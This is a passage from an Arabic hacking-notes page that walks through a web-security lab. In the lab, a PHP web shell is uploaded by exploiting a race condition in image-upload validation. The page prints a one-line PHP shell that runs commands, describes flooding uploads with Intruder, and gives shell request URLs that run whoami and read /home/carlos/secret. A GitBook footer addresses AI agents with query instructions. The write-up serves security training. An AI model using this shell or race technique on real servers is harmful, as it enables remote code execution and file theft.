> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/file-upload/web-shell-via-race-condition.md).

# Web shell عبر حالة سباق

### رفع Web Shell عبر حالة سباق

**هدف المختبر**

تتضمن هذه المختبر ميزة رفع صورة مع تحقق يبدو قويًا. / ومع ذلك، يمكن تجاوز هذا التحقق باستخدام **حالة سباق** أثناء معالجة الملف.

الهدف هو رفع Web Shell بلغة PHP، ثم استخدامه لقراءة الملف الحساس: / `/home/carlos/secret`.

**السياق**

* المصادقة ممكنة باستخدام: `wiener:peter`
* فقط **JPG** و **PNG** يُسمح بالملفات
* يستغرق رد الخادم حوالي **من 1 إلى 2 ثانية**، مما يشير إلى إمكانية استغلال المعالجة غير المتزامنة

**المحاولة الأولية**

حاول رفع ملف PHP تقليدي:

```php
?php
system($_GET['cmd']);
?>
```

النتيجة:

* رفض الخادم
* رسالة تشير إلى أنه لا يتم قبول سوى ملفات JPG وPNG

{% hint style="danger" %}
عذرًا، يُسمح فقط بملفات JPG وPNG. عذرًا، حدث خطأ أثناء رفع ملفك.
{% endhint %}

**ملاحظة أساسية**

ملف **فترة زمنية ملحوظة** توجد بين:

1. عندما يُكتب الملف على القرص
2. عندما يكتمل التحقق وقد يُحذف الملف

تفتح هذه الفترة الزمنية الباب أمام حالة سباق.

<figure><img src="/files/04a55f7cbb414c07af7fa4e43296a4eb2adfb655" alt=""><figcaption></figcaption></figure>

**آلية عمل حالة السباق**

إطلاق هجوم باستخدام **Intruder** (أو أداة مكافئة)

* إرسال طلب التنزيل بشكل متكرر وسريع
* حمولة فارغة أو متكررة، تشغيل في حلقة

<figure><img src="/files/ac7978ee67a400a42a34405779e90c9eb0af9bf4" alt=""><figcaption></figcaption></figure>

بينما يعالج الخادم عمليات الرفع:

* قم بتحديث عنوان URL الخاص بالملف المفترض باستمرار

```bash
/files/avatars/cmd.php?cmd=whoami
```

في وقت ما، يصبح الملف متاحًا **قبل** أن يبطل التحقق

* ثم يتم تفسير كود PHP بواسطة الخادم

<figure><img src="/files/b4f75753a093b1d056169e3f82298386eb7bd818" alt=""><figcaption></figcaption></figure>

**استغلال Web Shell**

بمجرد تنفيذه، يمكنك قراءة الملف السري:

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="/files/a6c3ebe42d8a83da44dd12250fcceb7d875047d8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/file-upload/web-shell-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
